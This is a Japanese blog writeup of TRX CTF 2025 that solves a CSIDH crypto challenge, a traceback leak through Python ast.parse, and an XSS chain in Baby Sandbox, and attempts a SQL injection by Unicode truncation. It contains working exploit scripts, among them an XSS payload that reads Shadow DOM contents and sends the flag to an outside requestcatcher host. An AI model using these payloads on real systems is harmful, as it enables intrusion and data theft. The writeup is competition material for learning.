はまやんはまやんはまやん

hamayanhamayan's blog

TRX CTF 2025 Writeup

https://ctftime.org/event/2654

[cry] Lepton

from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# CSIDH-512 prime
ells = [3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 
        71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 
        149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 
        227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293,
        307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 587]
p = 4 * prod(ells) - 1
F = GF(p)
E0 = EllipticCurve(F, [1, 0])

secret_vector = [randint(0, 1) for _ in range(len(ells))]

with open('flag.txt', 'r') as f:
    FLAG = f.read().strip()

def walk_isogeny(E, exponent_vector):
    P = E.random_point()
    o = P.order()
    order = prod(ells[i] for i in range(len(ells)) if exponent_vector[i] == 1)
    while o % order:
        P = E.random_point()
        o = P.order()
    P = o // order * P
    phi = E.isogeny(P, algorithm='factored')
    E = phi.codomain()
    return E, phi

while 1:
    E = E0
    phi = E.identity_morphism()
    random_vector = [randint(0, 1) for _ in range(len(ells))]
    E, _ = walk_isogeny(E, random_vector)
    E = E.montgomery_model()
    E.set_order(4 * prod(ells))
    print("[>] Intermidiate montgomery curve:", E.a2())
    print("[?] Send me your point on the curve")
    try:
        P = E([int(x) for x in input().split(",")])
        E, phi = walk_isogeny(E, secret_vector)
        E_final = E.montgomery_model()
        phi = E.isomorphism_to(E_final)*phi
        Q = phi(P)
        print(Q.xy())
        secret_key = sha256(str(Q.xy()[0]).encode()).digest()
        print(secret_key)
        cipher = AES.new(secret_key, AES.MODE_ECB)
        print(cipher.encrypt(pad(FLAG.encode(), 16)).hex())
    except:
        print("[!] Invalid input")
        continue

CSIDHが実装されている(っぽい)。本来は勉強をしないといけないのだが、solve数が結構あったので雑に見ると、(0,0)を渡すと固定で(0,0)が返ってくるので、そこからフラグを暗号化しているsecret_keyを求められる。以下のように復号化すればよい。

'''
$ nc lepton.ctf.theromanxpl0.it 7004
[>] Intermidiate montgomery curve: 5313161391566263167583221114983790219980567124893029664306085817954804192880955372716029701706633736767221863095320866573370738421380581717370029545818847
[?] Send me your point on the curve
0,0
3a641a40286eb1611870ca1a8609689793153b1f404037d202b36969d18e2bb61f6ff9e2fc12142c1a53e01f7f17dc17
'''

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

secret_key = b"_\xec\xebf\xff\xc8o8\xd9Rxlmily\xc2\xdb\xc29\xddN\x91\xb4g)\xd7:'\xfbW\xe9"
encrypted = bytes.fromhex("3a641a40286eb1611870ca1a8609689793153b1f404037d202b36969d18e2bb61f6ff9e2fc12142c1a53e01f7f17dc17")
cipher = AES.new(secret_key, AES.MODE_ECB)
decrypted = cipher.decrypt(encrypted)
print(decrypted)

[web] Online Python Editor

ソースコード有り。secret.pyというどこからも参照されていないpythonファイルがある。

def main():
    print("Here's the flag: ")
    print(FLAG) 
    
FLAG = "TRX{fake_flag_for_testing}"

main()

サーバーのスクリプトは以下。

import ast
import traceback
from flask import Flask, render_template, request

app = Flask(__name__)

@app.get("/")
def home():
    return render_template("index.html")

@app.post("/check")
def check():
    try:
        ast.parse(**request.json)
        return {"status": True, "error": None}
    except Exception:
        return {"status": False, "error": traceback.format_exc()}
        
if __name__ == '__main__':
    app.run(debug=True)

入力できそうな所はast.parse(**request.json)くらいなので、ここを考える。**で展開されるので任意の引数を与えることができる。公式ドキュメントを見ながらガチャガチャやる。

ガチャガチャやってると、filenameに実在するsecret.pyを置いて、source部分にsecret.pyと同じ正しい文字列をいれてやると、エラー発生時に残りの文字列を補完して出してくれたので、フラグのある所までエラーが出るように抜き出せばフラグの箇所が例外から得られる。

POST /check HTTP/1.1
Host: python.ctf.theromanxpl0.it:7001
Content-Length: 113
Content-Type: application/json

{"source":"\ndef main():\n    print(\"Here's the flag: \")\n    print(FLAG)\n    \nFLAG=","filename":"secret.py"}

->

HTTP/1.1 200 OK
Server: gunicorn
Date: Sun, 23 Feb 2025 09:06:35 GMT
Connection: close
Content-Type: application/json
Content-Length: 495

{"error":"Traceback (most recent call last):\n  File \"/app/app.py\", line 14, in check\n    ast.parse(**request.json)\n    ~~~~~~~~~^^^^^^^^^^^^^^^^\n  File \"/usr/local/lib/python3.13/ast.py\", line 54, in parse\n    return compile(source, filename, mode, flags,\n                   _feature_version=feature_version, optimize=optimize)\n  File \"secret.py\", line 6\n    FLAG = \"TRX{4ll_y0u_h4v3_t0_d0_1s_l00k_4t_th3_s0urc3_c0d3}\"\n         ^\nSyntaxError: invalid syntax\n","status":false}

[web] Baby Sandbox

ソースコード有り。Admin Bot有り。localstorageにフラグが入っている。

await page.evaluate((flag) => {
    localStorage.setItem("secret", flag);
}, FLAG);

以下のように踏まれる。

try {
    page = await context.newPage();
    await page.goto(`${SITE}?payload=${encodeURIComponent(payload)}`, { waitUntil: "domcontentloaded", timeout: 5000 });
    await sleep(1000);
} catch (err) {
    console.error(err);
}

埋め込み先はサーバー側が

app.use((req, res, next) => {
    res.setHeader("Content-Security-Policy", "default-src 'none'; frame-ancestors 'none'; base-uri 'none'; form-action 'none'; script-src 'self' 'unsafe-inline';");
    next()
})
...
app.get("/", (req, res) => {
    let payload = req.query.payload || '<p>Hello World</p>';
    payload = payload.replace(/[^\S ]/g, '');
    res.render("index", { payload });
});

という感じでCSPを付けて流しているだけ。index.ejsでは

<iframe
    srcdoc='<%= include("iframe", { payload: payload }) %>'
    sandbox="allow-scripts allow-same-origin"
></iframe>

のようにiframeのsrcdocに入れている。<%=となっているのでエンコードされて埋め込まれる。埋め込みに使われているiframe.ejsは

<div id="secret-container"></div>
<script>
    (function() {
        let container = document.getElementById("secret-container");
        let secretDiv = document.createElement("div");
        let shadow = secretDiv.attachShadow({ mode: "closed" });
        
        let flagElement = document.createElement("span");
        flagElement.textContent = localStorage.getItem("secret") || "TRX{fake_flag_for_testing}";
        shadow.appendChild(flagElement);
        
        localStorage.removeItem("secret");
        container.appendChild(secretDiv);
    })();
    
    let d = document.createElement("div");
    d.innerHTML = "<%= payload %>";
    document.body.appendChild(d);
</script>

のようにlocalStorageからフラグを取得して、Shadow DOMを作って書き込んで、消している。そのあと、innerHTMLで入力を入れ込んでいる。Shadow DOMに入っているので読めないというのが趣旨の問題。

ejsで埋め込むときのエンコードを回避

最終的な埋め込み先がjavascriptの文字列なので、16進エスケープシーケンスエンコードして埋め込んでやれば、どのような文字列でもエンコードの影響を受けず入れ込むことができる。

BASE = "http://localhost:1337"

payload = '''
<img src onerror="
console.log('XSS')
">
'''
payload = ''.join(f'\\x{ord(c):02x}' for c in payload)

print(BASE + "/?payload=" + payload)

response = httpx.post(BASE + "/visit", json={"payload": payload})
print(response.text)

出てきたURLを開くとXSSがコンソールに出てくることが確認できる。とりあえず、XSSまでは持ち込めた。

Shadow DOMにある情報を抜く

Shadow DOMにある情報をどうやって抜こうかなと思って手元のメモを漁ってみると、arxenixさんの記事で使えるテクを見つけることができた。

The function window.find("search_text") penetrates within a shadow DOM.
https://blog.ankursundara.com/shadow-dom/

window.findで文字列検索ができるが、これはShadow DOM内部も対象にできるというもの。試してみよう。

window.find("TRX{f",true,false,true) -> true
window.find("TRX{x",true,false,true) -> false

ヒットすればtrue, ヒットしないならfalseであるようなオラクルを手にすることができた。オフラインで高速に回せるので、全探索してフラグを高速に求めることができる。以下のスクリプトで出てくるURLを開くと1文字ずつフラグが特定され、コンソールに出てくるさまが見れる。

BASE = "http://localhost:1337"

payload = '''
<img src onerror="
window.flag = 'TRX{';
for (let j = 0; j <= 60; j++) {
    for (let i = 32; i <= 126; i++) {
        let c = String.fromCharCode(i);
        if(window.find(window.flag + c,true,false,true)) {
            window.flag += c;
            console.log(window.flag);
            break;
        }
    }
}
">
'''

payload = ''.join(f'\\x{ord(c):02x}' for c in payload)

print(BASE + "/?payload=" + payload)

CSPとsandboxを回避して情報を抜いてくる

クライアントサイドでフラグは得られたので、あとはそれを抜き出してくる。CSPが結構厳しい。

app.use((req, res, next) => {
    res.setHeader("Content-Security-Policy", "default-src 'none'; frame-ancestors 'none'; base-uri 'none'; form-action 'none'; script-src 'self' 'unsafe-inline';");
    next()
})

また、XSSが実行されるのがiframeの中なので、default-src 'none'が効いてきてlocationの移動も使えない。また、iframeもsandboxがかかっていて、諸々のテクが使えない。iframeの状況は以下。

<iframe
    srcdoc='<%= include("iframe", { payload: payload }) %>'
    sandbox="allow-scripts allow-same-origin"
></iframe>

紆余曲折していると、Chrome DevToolsのConsoleに以下のように出ていることに気が付く。

An iframe which has both allow-scripts and allow-same-origin for its sandbox attribute can escape its sandboxing.

あー、そういう話ありましたね。手元のメモを漁ると、Huliさんの記事がメモってあった。

In addition, the specification also specifically warns that if you embed a same-origin webpage in an iframe and set allow-same-origin allow-scripts in the sandbox, the webpage in the iframe can remove the sandbox by itself, making it the same as with or without the sandbox, like this:
https://blog.huli.tw/2022/04/07/en/iframe-and-window-open/

ここでは<script>top.document.querySelector('iframe').removeAttribute('sandbox');location.reload();alert(1)</script>というやり方が紹介されていたが、自分はtop.document.bodyに任意のHTMLが書き込めることを利用し、Top Level NavigationでXSSを起こし直し、locationでrequestcatcherに送ることにした。

最終的に、requestcatcherを用意して、以下のスクリプトを動かせばフラグが降ってくる。

import httpx

BASE = "http://localhost:1337"
DEST = "https://[yours].requestcatcher.com"

payload = '''
<img src onerror="
window.flag = 'TRX{';
for (let j = 0; j <= 60; j++) {
    for (let i = 32; i <= 126; i++) {
        let c = String.fromCharCode(i);
        if(window.find(window.flag + c,true,false,true)) {
            window.flag += c;
            console.log(window.flag);
            break;
        }
    }
}
top.document.body.innerHTML += '<img src onerror=location=`<<DEST>>/flag?'+window.flag+'`>';
">
'''

payload = payload.replace("<<DEST>>", DEST)
payload = ''.join(f'\\x{ord(c):02x}' for c in payload)

print(BASE + "/?payload=" + payload)

response = httpx.post(BASE + "/visit", json={"payload": payload})
print(response.text)

[web] ASCQL 解けなかったのだが非常に惜しく、悔しいので書く

ソースコード無し。YOU WILL NEVER ACCESS MY /secret!!!!!!と書いてあるので、/secretにアクセスしてみると403エラーになる。とりあえず、よくある403 bypassテクを試していくと、PathをURLエンコードして送ると回避できた。

GET /%73%65%63%72%65%74 HTTP/1.1
Host: [redacted].ctf.theromanxpl0.it
Accept-Language: ja
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session=f999a983-71b5-4b43-a40d-115c4280d0a9
Connection: keep-alive


->
HTTP/1.1 303 See Other
Server: nginx/1.26.3
Date: Sun, 23 Feb 2025 13:01:44 GMT
Connection: keep-alive
location: /sup3rs3cr3tb4ckup.zip
Content-Length: 0

ということで/sup3rs3cr3tb4ckup.zipという謎のパスが得られるので、アクセスしてみるとソースコード一式だった。(?)

SQL Injection

ソースコードを巡回すると、フラグはDBに入っている。

import { env } from '$env/dynamic/private';
import { db } from '$lib/server/db';
import { notes } from '$lib/server/db/schema';
import type { ServerInit } from '@sveltejs/kit';

export const init: ServerInit = async () => {
    await db.insert(notes).values({
        id: 1,
        content: env.FLAG ?? 'TRX{this_is_a_fake_flag}',
        hidden: true
    }).onConflictDoNothing();
};

SQL Injectionあるかなーと思って見てみると、それっぽい所がある。

export const load: PageServerLoad = async ({ url, cookies }) => {
    const session = await getSession(cookies);

    const filter = Object.fromEntries(url.searchParams)["q"];

    const sqliteDialect = new SQLiteSyncDialect();
    const safeFilter = sqliteDialect.escapeString(`%${filter ?? ''}%`);

    // remove all non-ascii characters
    const safeSafefilter = [...safeFilter]
        .map((c) => String.fromCharCode(c.charCodeAt(0) % 256))
        .join('');

    try {
        const query = sql.raw(`
            SELECT * FROM note WHERE 
            NOT hidden
          AND sessionId = ${session.id}
          AND content LIKE ${safeSafefilter} 
            ORDER BY id ASC`
        );
        
        const result = (await db.all(query)) as InferSelectModel<typeof notes>[];
    
        if ((safeSafefilter.match(/'/g) || []).length > 2) {
            error(400, "DO NOT!!!!!");
        }
    
        return {
            notes: result
        };
    } catch {
        error(400, "DO NOT!!!!!");
    }
};

querystringでqを入力すると、以下のように変換されて

const filter = Object.fromEntries(url.searchParams)["q"];

const sqliteDialect = new SQLiteSyncDialect();
const safeFilter = sqliteDialect.escapeString(`%${filter ?? ''}%`);

// remove all non-ascii characters
const safeSafefilter = [...safeFilter]
    .map((c) => String.fromCharCode(c.charCodeAt(0) % 256))
    .join('');

以下に埋め込まれる。

const query = sql.raw(`
    SELECT * FROM note WHERE 
    NOT hidden
    AND sessionId = ${session.id}
    AND content LIKE ${safeSafefilter} 
    ORDER BY id ASC`
);

escapeStringとは?ということでライブラリのソースコードを見てみると'''にしている。パッと見回避できなさそうだが、

// remove all non-ascii characters
const safeSafefilter = [...safeFilter]
    .map((c) => String.fromCharCode(c.charCodeAt(0) % 256))
    .join('');

これが不自然。これは見たことがあるぞ… Unicode Truncation

> safeFilter = "'ho嘧ge'";
"'ho嘧ge'"
> [...safeFilter].map((c) => String.fromCharCode(c.charCodeAt(0) % 256)).join('');
"'ho'ge'"

が送りこめれば勝ち!と思ったが、永遠に送り込めないままコンテストが終了してしまった…

(あとで復習したら追記するかも)